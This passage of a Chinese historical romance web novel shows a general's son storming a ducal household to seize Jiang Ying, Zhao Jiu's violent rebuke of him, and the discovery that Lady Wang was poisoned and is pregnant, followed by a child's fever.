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,实际后背冷汗淋漓,若不是想着昏迷的世子夫人,只怕连站直的力气都没有。
“香薷,香附,一会儿将军府的人若是问起世子夫人,就说……她听闻此事,气晕了过去,把责任推到我和将军府头上。”
姜璎没经历过事儿,也不知道怎么安排,只能想尽一切办法,尽可能地稳住局面。
王氏不出来定然惹人生疑,与其找借口,倒不如直接坐实昏迷,病因不明,和被将军府肆意妄为的举动所气倒,又是两码事。
姜璎深吸一口气,道:“有家中护院在,他们恐怕不能轻易将我带走。别怕,我们就想办法拖,拖到……”
赵咎回来。
前院已然乱得不像话。
卫国公府的护院和将军府的下人纠缠在一处,好些被打的鼻青脸肿,可见下手不轻。
赵达是赵家的大管家,也是跟在卫国公身边的老人了,但却是头一回遇上像今日这样的情况!
赵达盯着常无忌,冷冷道:“常六郎,你今日所为,常将军和常夫人知道吗?”
说是将军府来人,其实就只有常无忌一个。
常无忌坐在下人准备好的椅子上,一身乌青长袍,显得人格外清瘦,加之脸色阴沉,眼神瘆人,硬生生破坏了那张英俊的相貌。
“等我把人带回去,他们就知道了。”
他冷笑一声,抬手示意:“去后院,把那**给我抓出来!”
“你敢?!”赵达惊怒交加,“姜姑娘是我们九郎的未婚妻!宫中亲自下了赐婚诏书的!”
“什么未婚妻?一个被我**烂的**货,赵九也要?”常无忌轻蔑一笑。
把卫国公府的人气得不轻。
香薷香附等人自然也听到了这句话,当下眼睛都红了。
主子受辱,就是他们做下人的无能!
“别放心上。”姜璎道,她沿着长廊走过去,目光在常无忌的腿上停留一瞬,神情自若道:“常六郎怎么连同你私交甚密的人是谁都能记错?”
“不知道的,还以为姜大姑娘当时害你**,伤的是脑子,而不是腿。”
第26章 瘸子
乌云蔽日,空气中弥漫着一种风雨欲来的压抑气息。
自从常无忌摔断腿,整个将军府都小心翼翼,没有一个人敢在他面前提及腿伤二字。
常无忌目光阴沉,死死盯着姜璎,那张瓷白小脸看上去温和而无害,但也只是看上去!
他冷笑一声,“好一个牙尖嘴利,你平日里就是这么欺负你姐姐的吧?一条无父无母的流浪狗,穿了几天衣服,就忘了自己是个什么出身,忘恩负义攀咬主子。”
姜璎没有被激怒,只是很平静地看着他,问道:“是姜宝瑜让你来的吧?”
“你胡说八道些什么!”常无忌呼吸紊乱一瞬。
姜璎心里有了底,继续同他周旋,拖延时间。
“她让你来做什么?将我带回将军府?”
常无忌阴着脸,“跟她没有任何关系!倒是你,之前不是一直想勾搭我吗?还想方设法坐上花轿。既然如此,我就如你的愿!”
“都愣着干什么?把她给我抓回去!”
卫国公府的护院家丁自然不是吃干饭的,岂能任由常无忌肆意妄为?
这要是传出去,不仅卫国公府颜面尽失,他们也要被统统发卖出去!
姜璎暗自皱眉,不动声色反问道:“可你不是口口声声要娶姜宝瑜吗?如今没有我从中作梗,你为什么不娶她?”
常六郎冷笑一声,看向姜璎的目光跟淬了毒一般。
这个**还有脸说!
如果不是因为她从中作梗,他好端端的亲事又怎么会变成一场笑话?!
也不知道这**使了什么手段勾引的赵咎,攀上卫国公府这根高枝还不够,还要同阿宝处处作对!
常无忌袖子里藏着不久前收到的帕子,上头甚至还有未干的泪迹。
他摸着帕子,都能想象出姜宝瑜强忍着委屈的可怜模样。
她一向如此,受了委屈全都憋在心里,哪怕哭得上气不接下气,也要替别人说好话。
想到这,常无忌心头顿时涌起一股无名火,眼神充满怨毒。
他今日就算不能把这**拖出去,也要让她身败名裂,被卫国公府所厌弃,最好是扫地出门!再也不能欺负阿宝!
常无忌冷冷道:“你明知道我要娶的是你姐姐,还三番两次勾引我,脱光衣服自荐枕席。不要脸的东西!怎么,我看不上你,你就去勾搭赵咎?那他还真是没见过世面,你这种下三滥的货色,他都能上钩。”
赵达气得老脸通红,“常六郎,你放肆!”
常无忌轻嗤一声,盯着姜璎道:“怎么,有脸做没脸说?”
“抢自己姐姐的亲事,末了又倒打一耙,反咬一口,说永安侯府给你下药。呵,赵咎竟然还会相信你的说辞,果真是**配蠢货,天生一对!”
他敢辱骂赵咎!
姜璎瞳孔一缩,被挑起了怒气。
她深吸一口气,反问道:“蠢货是在骂你自己吧?姜宝瑜让你往东,你不敢往西,言听计从,忠诚不已。”
“你真应该照照镜子,看看自己蠢狗一般的德行!”
被姜宝瑜**的团团转,竟然还有脸诋毁赵咎!
提到赵咎,姜璎顿时浑身上下竖起尖刺,恨不得把常无忌扎成一个刺猬!
她下颚微微绷紧,开口言辞尖锐。
“你有什么资格说赵九郎君?你又有哪一点比得上赵九郎君?满口污言秽语,整日无事生非,就算摔断腿也安分不了几日,被人驱使得团团转!”
“难怪姜宝瑜看不上你,死活不肯嫁给你!”姜璎憋足气,大声道,“你活该!”
常无忌一时气血翻涌,面色铁青地低吼道:“你给我闭嘴!!”
看来是踩到他的痛脚了。
姜璎胸口不断起伏,凭什么他说闭嘴就闭嘴?她偏不!
“你来这里的意义是想向姜宝瑜证明,你什么都愿意为她做?可惜,就算你做再多,姜宝瑜也不会嫁给你!”
姜璎绞尽脑汁,打破他的幻想:“你以为你和姜宝瑜不能成亲,是永安侯夫妻不同意?错了!是姜宝瑜看不上你,她要是喜欢你,非你不可,刘夫人岂会不如她愿?”
常
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无忌死死瞪着她,牙齿发出咯吱声:“关你什么事?我让你闭嘴,你没听见吗?!”
姜璎平息了一下情绪,但也没放过他。
“我真不明白,你为什么好端端的人不做,要去给姜宝瑜当狗?”
当狗也就算了,这是个人的爱好。
姜璎尊重他人爱好,但前提是常无忌不能像疯狗一样乱咬人!
他还咬赵咎!姜璎简直不能容忍。
常无忌彻底被激怒,恶狠狠道:“你懂什么?!你以为阿宝和你一样爱慕虚荣,心机深重?贱、人!你再挑拨离间,我就撕了你的嘴!”
香附气不过,“常六郎,你这样羞辱我家姑娘,等九郎回来,绝不会放过你!”
常无忌哈哈大笑,“赵咎?他自身都难保了!”别以为**赵咎因为赐婚被陛下责罚的事儿!
不过也提醒他了。
常无忌眼神阴狠,他得趁赵咎没回来之前,把这个小**给带走!折磨致死!
到时候,赵咎要是还愿意娶一具破烂尸体,他也不是不能送给他。
“还愣着干什么?”常无忌瞪了一眼将军府的家丁,“去,把她给我抓过来!我要亲自剥了她的皮!”
“剥皮?”
身后忽然响起一道阴恻恻的声音。
赵咎走进来,先是看向姜璎,确认她没有受到任何伤害,提了一路的心才算是彻底放下。
赵咎嘴角微微勾起,十分自然地搭了一下常无忌坐的椅子,笑着问:“常六,你要剥谁的皮?”
常无忌身体微微一僵,没想到赵咎竟然这么快就回来了!
是她——!常无忌死死瞪着姜璎,终于反应过来。她早就让人去通风报信,然后一直在拖延时间,好等赵咎回来!
“怎么不说话?”
赵咎拍了拍他的脸,动作不大,却极具羞辱意味,“既然来我家了,就进去坐坐吧。哦,我忘了,你才断了腿。”
说着,目光落到常无忌的腿上,恶意一闪而过。
死瘸子。
他关切道:“还走得了路吗?”
第27章 羞辱
“九郎回来了!”香薷香附等人终于松了口气,脸上露出笑容。
相比之下,将军府的家丁则一个个面露菜色,胆战心惊。
赵咎走进来,先是看向姜璎,确认她没有受到任何伤害,提了一路的心才算是彻底放下。
刑如风跟在屁股后头,一路狂奔,喘得跟头驴一样,差点没累个半死。
姜璎眼睛一亮,当下小跑着过去。
“慢点——”赵咎下意识伸出手接她。
熟料擦肩而过。
赵咎的手落了个空。
姜璎满心焦急:“邢医官!你可算是来了!世子夫人方才受到惊吓,晕了过去,现在还没醒呢。”
将军府的人听到这话,心道完了!!
只见赵咎唇角微微绷直,俊颜好似覆了一层霜雪,长眉杏目,锐利不已。
眼看着姜璎同赵咎打了声招呼,便领着刑如风匆匆往后院去,将军府的家丁惴惴不安,脸上堆满讨好笑容。
“小国舅……”
“国舅爷……”
“误会,都是误会。”为首的下人赔笑道,“九郎,我们这就走……”
“走?”赵咎笑了一声,“你们当我赵家是什么?说来就来,说走就走?”
“要走可以,我亲自送你们——去阴曹地府!”
咬字辗转间戾气横生。
下一刻,长鞭扬空一甩,狠狠抽向面皮。
“啊!!!”
随着惨叫声响起,将军府的下人一个个被抽翻倒地,脸上好长一条鞭痕,血肉模糊,依稀可见骨头。
赵达也是见过大世面的人,但看见这样的场景,还是心跳骤停一瞬。
无他,赵咎自小到大,虽算不上端庄君子,但也同纨绔子弟沾不上半点关系。
这样狠辣的手段,还是第一次在他身上出现。
“赵咎!”常无忌脸皮跟着抽搐一下,神情阴狠道,“你有什么资格管教我家的下人!”
“管教你家下人?”赵咎嘴角微微勾起,慢条斯理地把鞭子收了起来,鞭身沾了血迹,也浑不在意,笑着道:“小惩大戒罢了,哪里称得上管教?”
言罢,对下人吩咐道:“把这些私闯公府的狗奴才捆了,统统送给禁军处置。”
常无忌怒吼道:“赵咎你敢!”
“你都敢上门打我脸了,我回敬一二,不过分吧?”赵咎用收好的鞭子拍了拍常无忌,血迹糊他一脸。
动作不大,但羞辱意味极强。
常无忌面色铁青。
“既然都来我家了,怎么也不进去坐坐?”
赵咎目光落在常无忌的腿上,恶意一闪而过,像是恍然大悟,“我忘了!你才断了腿。”
“你说说你,人模狗样的,这不仔细看都想不起来你现在是个瘸子。”赵咎感慨道,熟稔的语气,不知道的还以为两个人关系有多好。
赵达摸不准赵咎的态度。
将军府的下人都被送到禁军那了,那常无忌呢?
要送回将军府吗?
总感觉,赵咎不会轻易放过他……
常无忌冷笑一声,虽然损失了一些下人,但他料定赵咎不敢对自己动手,言语间也跟着肆无忌惮起来。
“赵咎,你不就是爱捡我玩烂的女人吗?连这种放荡的货色也瞧得上,怎么,是觉得她床上功夫了得?那你可得好好谢谢我,多亏我帮你调教——呃啊!”
污言秽语戛然而止。
赵咎掐着他的脖子,五指一点点收紧。
“九郎!”赵达吓了一跳。
赵咎冷冷看他一眼,脸上竟然还挂着一丝若有若无的笑意。
他欣赏着常无忌逐渐青紫的面色,脸上真真切切的痛苦,和不断拍打狠掐他手腕的挣扎动作,无一不令人心情愉悦。
赵咎掐着他的脖子,把人提到半空。
一边欣赏,一边笑着道:
“常六,你刚才说什么?这满嘴喷粪,不知道的还以刚从粪坑里出来。”
常无忌拍打挣扎的动作渐渐变弱,双眼翻白,几乎说不出话来。
赵咎叹了口气道:“我家阿池那么乖,谁见了不夸一句好孩子,你倒好,趁我不在家欺上门来,还当着我的面诋毁我妻子。”
五指猛地攥紧!
常无忌面色憋红,又泛着不正常的青紫,眼看就要窒息身亡。
赵咎嗤笑一声,随手一甩,跟扔垃圾似的,将常无忌摔在地上。
归南贴心地奉上帕子。
赵咎擦了擦手上的血迹,连同帕子一起扔到常无忌脸上。
“行了,把这哈巴狗给永安侯府那唱戏的送
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过去,他们不要,再还给将军府。”
“是。”归南应下,被赵达瞪了一眼。
赵达看着地上眼见出气多进气少的常无忌,头疼不已,“你也是,怎么不劝劝九郎!”
归南斜眼看他,“您老怎么不劝?”
赵达理所当然:“我老了!还想多活几年呢!”
归南嘴角一抽,“合着我年轻就该死呗。”
“去去去!”赵达赶他,再不把人送走,指不定就要死在卫国公府了!
赵咎疾步来到后院,就看见刑如风满头大汗,极其虚弱地扶着门,看见他,伸出手。
“快……扶我一把……”
赵咎想到刚才姜璎直奔向刑如风,心里就满是不痛快,一把拍开他的手,“装什么弱柳扶风?”
刑如风:“???”
你小子!
他干脆一屁股坐在地上,累的不行。
一半是赶路赶的,一半则是被王氏如今的情况给吓得。
“我大嫂怎么样了?”
“还行……”刑如风摆了摆手,喘得厉害,让他自己去看,他是真没力气了。
赵咎挽帘而入。
姜璎正守在王氏身边,眼眶红红的,“夫人……”
王氏已经醒了,面色苍白虚弱,但还是扬起笑容,轻声道:“傻孩子,哭什么?我这不是好好的吗。”
姜璎想起王氏倒在地上,衣裙血迹斑斑的画面,就一阵后怕,强忍着泪水道:“可是,可是邢医官说……”
“他说什么?”
赵咎蓦地出声。
房内的仆婢被吓了一跳,九郎走路怎么没声儿的!
姜璎眨了眨眼睛,把泪意憋了回去,“赵九郎君。”
辛夷抚着心口道:“邢医官说,再晚来一步,夫人就要小产了。虽说现在施了针,稳住病情,但还是有流产的风险。”
真的怀孕了?
赵咎下意识看向姜璎,王氏露出一个虚弱的笑,轻柔道:“这次多亏了阿池。”
“是啊!”辛夷真心实意道,“要不是姑娘一再强调,邢医官都发现不了。”
赵咎皱了皱眉,“他是吃干饭的?”把个脉都能出错!
刑如风:“……”
他爬进来,声嘶力竭:“赵咎!你个王八蛋!我要掐死你!”
第28章 维护
屋内静了一瞬,随后不知是谁扑哧笑了一声,紧接着大家都纷纷掩唇。
仆婢们赶忙放下手中的活,忍着笑把人扶起来。
赵咎看了一眼重新展颜的姜璎,冷声道:“他爱躺地上躺地上,别管他。”
王氏无奈道:“邢医官怎么招你惹你了?你要这样对人家。”
说着轻轻拍了一下姜璎的手。
姜璎不明所以,但也跟着帮刑如风说好话,“赵九郎君,邢医官已经尽力了,施针到现在,他好不容易才歇会儿,是真的很辛苦。”
赵咎发出一声短促的冷笑,“医术不精还有理了?”
刑如风:“……”
靠,膝盖好疼。他默默看了一眼王氏。
大嫂!我也喊你大嫂!
求你别在火上浇油了……
“不是这样的。”姜璎没听出来,还在一脸严肃地解释,“邢医官一开始没能发现,是因为世子夫人中毒了。毒性掩盖了胎像,加上月份浅,这才导致大家没往怀孕的上头想。”
王医官和邢医官先后排除了怀孕的可能,加上后面王氏流血……辛夷等人自然而然就以为是来了月事。
姜璎也是因为从前见刘氏有过类似的情况,才会想到怀孕的上头。
只是,刘氏和王氏情况不同,她当时并非中毒,而是误食了一些寒凉的食物才导致的小产。
但王氏绝没有误食的可能。
颍川赵氏和琅琊王氏是承传千年的名门望族,底蕴深厚,平日里的吃穿住行每一样都有讲究,所入口的食物也是按照祖传菜谱精心制作,庖厨无论如何也不会做出相克吃食。
赵咎面色阴沉,“给我查!”
除了辛夷几个贴身伺候的仆婢,以及赵达这种卫国公府的老人,其他不论是谁,都要查得彻彻底底!
刑如风喝了口茶润润嗓子,不敢在这种时候触赵咎霉头,难得严肃道:“我学艺不精是一回事,但世子夫人中毒已久,且毒素很浅,又是另外一回事。”
涉及卫国公府的家私,刑如风点到为止,没有多说,他知道王氏和赵咎心里有分寸。
王氏叹了口气,温声感谢道:“又麻烦邢医官了。”
刑如风摆了摆手道:“不麻烦,幸而姜小娘子提醒,让我也算是亡羊补牢,为时不晚。”
时辰不早了。
刑如风干脆在卫国公府住下,他与赵咎私交甚密,前院有一个专门给他留着的客房。这样也方便应对王氏的突发状况。
刑如风走后,王氏脸上的笑容淡了些许,靠着引枕,满是疲惫道:
“阿劫,这件事儿先不要让父亲还有你大兄他们知道。”
卫国公尚在蜀地赈灾,赵咨和赵哲兄弟俩也在江南处理水患,公事要紧,王氏不想他们在这种紧要关头为自己的事儿分心。
赵咎嘴上答应:“好,我知道。”心里想的却是刑如风说大嫂中毒已久,这么重要的事儿怎么能不告诉大兄?
赵咎早先就派了人分头前往蜀地和江南,为父兄安危做了准备,现在看来,还得再让人跑一趟。
不为别的,至少得让卫国公他们知道,一直有人在暗中谋害卫国公府,让他们自己也多上点心,提高警惕,别整天没事儿一个劲地傻乐。
“对了,我听说常六带着人上门来了?”王氏问道。
“嗯。”赵咎笑了一下,语气轻描淡写,“他不是腿脚不便吗,我让归南给他送回去了。”
王氏看了他一眼,有点不大相信他就这样放过了常无忌。
“人还活着吧?”
“当然。”
赵咎微微挑眉,好笑道:“在大嫂眼里,我难道就是那种肆无忌惮、手段狠辣的人?”
姜璎脱口而出:“当然不是!”她在维护赵咎的路上毫不动摇,忿忿道,“夫人您不知道常六郎有多过分!他竟然说赵九郎君坏话!太可恶了!”
赵咎道:“他说我什么?”
姜璎腮帮子鼓鼓的,“他骂你蠢货!”说到这里就更生气了,音调不禁拔高,“他自己蠢,还要说别人!分明就是狗眼看人低!”
扑哧——
王氏捂着嘴,差点给笑岔气。
赵咎看着姜璎,怎么都压不住上扬的嘴角,最后微微别过脸,以拳抵唇咳了一声。
“嗯,你说的对。”
被一个女人耍的团团转,可不就是蠢狗一只。
王氏拍了拍姜璎的手,让她别这么激动,免得有些人心里乐开花,还要在这装模作样。
姜璎平息了一下心情,道:“真的太过分了,还好赵九郎君回来的及时,不然我......”
赵咎道:“不然你还想打他不成?”
姜璎立马道:“我没有。”
赵咎警告道:“以身涉险的事情不要去做。”
姜璎点点头,“我知道!”
王氏忍俊不禁,自从姜璎开口,她脸上的笑容就没下去过。
真是个乖孩子。
“对了,大嫂,二嫂回家散心,明日是不是也该回来了?”赵咎淡淡道,他不是不知道郑氏这段时日意见很大,但再怎么样也不该这么任性。
平日隔三差五回娘家也就罢了,毕竟父亲和二兄都没说什么。但今日明知大嫂身体不适,还负气跑回去,未免也太不懂事!
王氏正要开口,外头仆婢禀报道:“夫人,九郎,二夫人回来了。”
赵咎看了姜璎一眼,后者自觉起身,“夫人好好休息,阿池就不打扰您了。”
“好,去吧。”王氏笑着点头,趁姜璎转身时瞪了一眼赵咎,别一天天就知道欺负阿池。
赵咎不承认,他什么时候欺负阿池了?
这分明是他们未婚夫妻之间的默契。
眉目传情,心有灵犀。
赵咎哼了一声,拉起姜璎的手往外走。
刚走出去,他就不经意问道:“常六说了那么多话,你就记住了他骂我的那句?”
这是不是说明她在意他?
“嗯……”
姜璎低头看了一眼被紧紧抓着的手,看不大清楚,但怎么感觉脏脏的?
她欲言又止,“赵九郎君。”
“想说什么就说什么,别老是吞吞吐吐。”
姜璎于是鼓起勇气道:“你的手好像有点脏。”
赵咎:“......”
他想说哪里脏了?他可是擦过手的!
赵咎心中忿然,不想牵手就直说,找什么借口!抬起手,冷冷道:“哪里脏?你指给我看。”
说完,手背残存的几滴没擦干净的血迹映入眼帘。
空气安静一瞬。
赵咎:当我没说。
第29章 误解
姜璎放下心来,两人沿着长廊去往前厅用食。
不出意外,赵咎又问起姜璎今日的所作所为,“我听说你一个人去万业寺了?”
“不是一个人啊。”姜璎眨了下眼,老实又耿直,“还有香薷香附他们。”
“……”
大概出看出了赵咎“秋后算账“的意思,姜璎连忙把遇上刘氏母女的事情说了一遍,庆幸道:“得亏去了万业寺,要不然我还不能确定世子夫人究竟是不是怀孕呢。”
赵咎一想也是,但嘴上还是道:“日后不要一个人出门了。”
姜璎一口答应:“嗯嗯!我记住了!”
简直不要太听话。
赵咎满足了,但赵咎没有放过她,“你方才为什么帮刑如风说话?”
突如其来的质问,仔细听还有酸溜溜的味道。
姜璎不明所以,她什么时候帮邢医官说话了?不过,“邢医官是个好人啊。”
这话隐约有些耳熟。
赵咎心里生出一股不详的预感,试探道:“在你心里,我和刑如风是一样的?”
“当然不是!”姜璎一口否认,明亮的眼眸满是认真,“赵九郎君在我心里是不一样的。”
赵咎怔了一下,在她专注的眼神中看见了某种难以言说的情感。
他像是被烫了一下,猛地移开目光,胸膛剧烈跳动,不安的内心也彻底松了口气。
他就知道……他们以后可是亲密无间的夫妻,刑如风还能跟他比?
笑话。
姜璎则心想:当然不一样啊。
赵九郎君才是她真正的救命恩人,对她的恩情,是十个邢医官也比不上的。
因为姜璎那番“表达心意”的话,一直到用完膳,赵咎都没有作妖。
姜璎倒是把每日的“功课”记得清清楚楚,主动又积极地问道:“赵九郎君,你今日忙吗?我让人喊你回来,会不会对你有影响?”
赵咎道:“放心吧,没什么事儿。你记住,下次再碰上这种情况,还是要第一时间喊我。”
姜璎眉眼弯弯,“嗯!”
送姜璎回房的路上,正好碰上郑氏。
兴许是做错事儿的缘故,郑氏笑容有点勉强,更是难得给了姜璎一个好脸色。
“今日真是多亏了你,要不然,我们还不知道大嫂怀孕呢。”
姜璎并不居功:“这是我应该做的。”
她说的是实话。
在永安侯府的那些年里,姜璎早就被培养成主动付出的性格,而习惯是最可怕的一样东西,不论她去了哪里,不论她同谁相处,都会不自觉把自己放在低位,习惯性为他人着想付出。
她不会觉得自己的付出是值得夸赞感激的事情,因为刘氏等人觉得理所当然,所以久而久之,姜璎也就跟着习以为常。
这也是为什么上辈子姜璎宁可在将军府遭受折磨,也不肯接受赵咎帮助的原因。
她习惯了自己承担一切,自然不愿意给别人带来麻烦。
赵咎也是重生后才发现的这一点。
永安侯府薄情寡义,却对姜璎影响至深。在那种情况下,他只能快刀斩乱麻,用残酷事实让她死心的同时,取代永安侯府在她心里的位置。
当然,赵咎并不觉得自己这种行为是趁虚而入。
姜璎想要一个家,他就给她一个家。
这算什么趁虚而入?
分明就是天造地设,天作之合,天生一对。
郑氏看着两人,心里其实还有些埋怨姜璎的,觉得要不是她,将军府的人怎么敢上门放肆?
奈何她今日在王氏的事儿上出了力,郑氏也不好说什么,便转头对赵咎道:“阿劫,你说说你,今日行事未免也太过冲动。那常六郎好歹也是将军府仅剩的独苗苗,常夫人的命·根子,你这么做不是......”
“二嫂。”赵咎打断了一下,看向姜璎:“你先去看大嫂,我一会儿过来。”
姜璎听话照做。
等人走远了,郑氏才没好气道:“你还知道丢脸呢?”
赵咎不以为然:“我有什么好丢脸的?不就是小小教训了常六一顿,也值得二嫂这样小题大做?”
郑氏气笑了,他那是“小小教训一顿”吗?听赵达说,常无忌就差一点儿被他掐死了!
郑氏劝道:“我知道常六行事无忌,实在可恶,也知道你是为姜璎出气,但你别忘了他的身份。将军府为大魏死了那么多人,你就算再生气,把将军府的家仆送到禁军那严惩也够了,何必伤常六性命?”
这不是和将军府结仇吗?
“我什么时候伤他性命了?”赵咎脸上似有诧异,“我不是让归南把人好好送回去?难不成死在半路了?”
那也太便宜常六这个畜生。
郑氏忍不住打了他手臂一下,“你还说!”要真死了,将军府岂能善罢甘休?
“二嫂。”
赵咎忽然严肃起来,“我不是单为姜璎出气。”
“他常六带着人直闯进来,摆明了就是不把我们卫国公府放在眼里,又口出恶言,极尽羞辱,辱的是我未过门的妻子,骂得是我赵咎这个人。就差踩我脸上了,难道我还要客客气气亲自送他回去不成?”
他冷笑一声:“我没要他的命,已经很给将军府面子了。”
他还有一句话没说,将军府为打仗填进去的那十几条命,掺了多少水分他们自己知道!
也就是赵咎现在没有他们通敌卖国的证据,否则还能容忍常六蹦跶着那条瘸腿在他家放肆?
话都说到这个份上了,郑氏只好叹了口气:“你可得做好他们明日进宫告状的准备。况且,经此一事,你那未过门的媳妇儿名声只会越来越差,这可不是你能改变得了的。”
赵咎淡淡道:“他人说什么,跟我有什么关系?难道我还要为那些无中生有的蠢话,食不下咽、寝不能寐?那也太可笑了。”
郑氏噎了一下,总不能说她就是这种人吧......
赵咎知道郑氏没什么坏心眼,她一向是爱憎分明的性子,又与二兄感情深厚,要不然,上辈子也不会撞棺而死。
赵咎望着面前的郑氏,认真道:“二嫂,诋毁阿池的人恐怕就是抱着让我们迁怒于她的目的,如果我们轻易中计,岂非让背后小人得意?你说是吧?”
“......”
郑氏无语片刻,算是彻底明白过来了。
赵咎这小子,就是来替他媳妇说好话的!
“行了行了!你这一说,我可不敢给她脸色瞧了!”郑氏哼了一声,又打了他一下,这才解气离开。
第30章 小题
翌日一早,姜璎照常去看望王氏,没想到郑氏也在。
“见过世子夫人,二夫人。”姜璎给两人请安。
王氏正靠着引枕用药,见她来了,示意她坐到自己身边,温声道:“都是一家人,不用这样多礼。”
郑氏昨天做了错事,又被赵咎提醒了一番,此刻也是笑意吟吟道:“还是我们阿劫有眼光,找了个又孝顺又懂事的姑娘。”
王氏瞥她一眼,想到她昨日红着眼睛跟自己认错,不该如此任性,心中叹了口气,到底没说什么。
卫国公府这么一大家子人,难免会有摩擦,但只要不涉及原则性的问题,王氏都是睁一只眼闭一只眼。
毕竟她也不能管人家心里想什么不是?
这时,花罩外响起婢女的通报声,“夫人,二夫人,二郎君和三郎君来了。”
随着一大一小两个男孩走进来,郑氏脸上的笑容也变得真切起来。
“给大伯母、母亲请安。”赵怀和赵恪恭敬行礼。
王氏执掌中馈多年,又一向端庄持重、温和大方,可以说整个卫国公府上下都十分敬重。
是以,听说王氏昨日忽然昏迷,赵怀和赵恪特意起了个早过来看望。
赵怀问道:“大伯母,您身体好些了吗?”
王氏目光微微柔和,“好些了。”她胎像尚未稳固,怀孕的事情也暂时只有少数几个人知道,就算是她自己三个儿子也不知道母亲其实又是中毒又是怀孕。
赵怀也只当王氏是累病的,劝道:“大伯母平日里还是要多注意身体,切莫太过操劳。”
赵恪见状,连忙不甘示弱道:“是啊是啊,大伯母,身体才是最要紧的!”
屋里的人都被他们俩逗笑了。
姜璎也忍不住弯了弯眼睛。
不得不说,赵家人的长相都极为出色。
年仅七岁的赵恪是小辈里最漂亮的一个,他的五官集中了父母所有的优点,又生了一双肖似赵咎的眼睛。相貌精致的同时,还爱往长辈跟前撒娇,扑闪扑闪的杏眸,仿佛无时无刻盛满笑意。
倒是赵怀,虽然只比弟弟年长三岁,却已然有了小少年的沉稳气度,说话不疾不徐,跟弟弟站在一起可谓是兄长风范十足。
王氏笑道:“都是懂事孩子,大伯母记住了,一定好好保重身体。”
赵怀脸颊微红,像是被夸得有些不好意思。
赵恪倒没什么感觉,他讨人喜欢也不是一天两天了,被夸都已经是家常便饭。
赵恪的目光望向了王氏身边的姜璎,半是好奇半是蠢蠢欲动,这就是小叔要娶的人?看着也不怎么样嘛。
“正好今日厨房做了酥酪,你们两个一起留下用膳吧。”王氏道。
各房都有小厨房,赵怀和赵恪也是用了过来的,毕竟一会儿还要去读书。
但长辈开口,自然不好推辞。
仆婢们抬上食案,陆陆续续把备好的早膳端上来。
姜璎和郑氏分别坐在王氏的左右手边,赵恪挨着母亲,赵怀则坐在姜璎身旁。
王氏指着还冒热气儿的酥酪,对赵怀道:“二郎,你如今正是用功的时候,可得多补补身体,这酥酪刚煮好不久,只放了酥油和白糖,你尝尝。”
“劳大伯母费心了。”赵怀忙起身道谢。
王氏笑了笑,又叮嘱姜璎多吃点。
眼看就要卯时,赵恪还想再拖拉一会儿,但一心读书的赵怀却等不住了,用了碗酥酪便起身道:“大伯母,阿娘,孩儿用的差不多了,先行一步。”
赵恪眼珠子转了一圈,甜甜道:“大伯母身子不舒服,要不我留下来陪您解解闷。”
郑氏瞪了小儿子一眼,“快起来跟阿兄去读书。”一天天的就知道偷懒!
郑氏生的两个儿子,性情是截然不同。
一个性情温和,刚正不阿,一个嘴甜卖乖,酷爱撒娇。脑子都是一样聪明,偏偏大的满脑子读书,小的却连功课都不愿意多做!
姜璎看着赵恪可怜巴巴的模样,脑海里莫名浮现赵咎的身影。
赵咎小时候,会像赵恪一样偷懒撒娇吗?
“二郎,嘴巴还没擦干净呢。”王氏无奈道,“时辰还早,走这么急做什么?”
姜璎回过神来,递了一块干净帕子给赵怀。
交互间,手指难免触碰。
“多谢。”赵怀客客气气地道谢,脸上的红晕分外明显。
“还害羞了。”郑氏有些好笑,又忍不住拍了一下小儿子的手臂,他就不能跟他哥哥好好学学!
姜璎愣了一下,想到刚才触碰到的体温,一时间惊疑不定地看着赵怀,“你……”
王氏问道:“怎么了?”
所有人看向姜璎,她声音小了一些,讷讷道:“二郎君的手,好像有些烫。”
是错觉吗?还是……姜璎的目光落在赵怀脸上。
好像从进来到现在,他就一直是脸颊泛红的状态。
郑氏笑了一下,不甚在意道:“男孩子身强体壮,血气方刚,体温高一点也正常。”
姜璎迟疑道:“可是真的很烫……”
赵怀心跳如擂,镇定道:“许是刚才用了一碗酪浆的缘故,身子热乎起来了,不要紧,一会儿就好了。”
姜璎一想也是,脸上露出了不好意思,“是我大惊小怪了。”
郑氏嘴上道:“没事儿,你也是一片好心。”心里想的却是小题大做,她儿子好端端的,姜璎疑心这个疑心那个,这不是咒二郎吗?
“阿池也是被我这回生病吓到了。”王氏道。
正巧,刑如风提这个小药箱过来给王氏把脉。
和赵怀擦肩而过时,忽然一把抓住他手臂。
“邢、邢医官,怎么了?”赵怀结巴了一下,生怕被看出什么。
刑如风摸了摸下巴,,“二郎,你今日这面色不太对劲啊,是不是哪里不舒服?来,手伸出来我给你把把脉。”
邢医官热情似火,却把赵怀吓了一跳,连连摆手道:“不不不,我没事!我还要去读书,我我先走了……”
这此地无遗三百两的模样让众人纷纷侧目。
郑氏皱了皱眉,怀疑地看了儿子一眼,除了脸红了一点以外,看着也不像是生病的样子啊。
姜璎鼓起勇气道:“有没有生病,邢医官一把脉便知分晓了。”
第31章 大作
刑如风拽住了赵怀的手,这一下摸,也不用把脉了,几乎立马断定道:“你发烧了!”
郑氏心头一跳,看向儿子。
“没有!我真没有!”
赵怀是个不会撒谎的,当下面红耳赤,被众人看着,只好改口道,“只是有些不舒服,但没什么要紧的……阿娘,时辰来不及了,我还要去读书呢!”
“还读书呢?你看看你都烧成什么样了。”刑如风被他逗乐了,“行了行了,读书也不差这一天两天的,快回去躺着,一会儿让人给你煎药。”
赵怀急了,“不行!今日是柳夫子授课!任何学生都不许缺席!”
也不知道他哪儿来的力气,硬是抽回了自己的手,闷头就要往外跑。
“什么柳夫子?再重要能有你的身体重要?”郑氏怒道,“都愣着做什么,还不把二郎拦下!”
赵恪满脸羡慕,要是生病的人是他就好了……
“你还傻杵着?快去劝劝你阿兄!”
郑氏一听刑如风的话都吓坏了,等下人把赵怀带回来,她伸出手摸了摸儿子的额头,“哎呀!怎么这么烫?”
竟然真让姜璎给说对了!
“你跑什么?”郑氏没忍住打了儿子一下,好在小儿子贴心,在边上劝道,“阿兄,你都生病了还去什么学堂?别去啦!正好那个柳夫子那么凶……”
赵恪满脸关怀,迫不及待道:“阿兄,就让我在家照顾你吧!”
赵怀嘴角一抽,“你给我去读书!”顿了顿,又忍不住替心爱的老师辩解:“柳夫子虽然严格了一点,但他教的很好。”
刑如风无奈道:“教再好,还能差这一天两天?”毕竟是自己看着长大的孩子,他劝了几句,“二郎啊,用功是好事,但不能弃身体于不顾啊。”
边上是虎视眈眈的母亲,赵怀小声道:“我准备回家再来吃药的……”
“还回家?等回家你都烧成傻子了!”郑氏差点被气个半死。
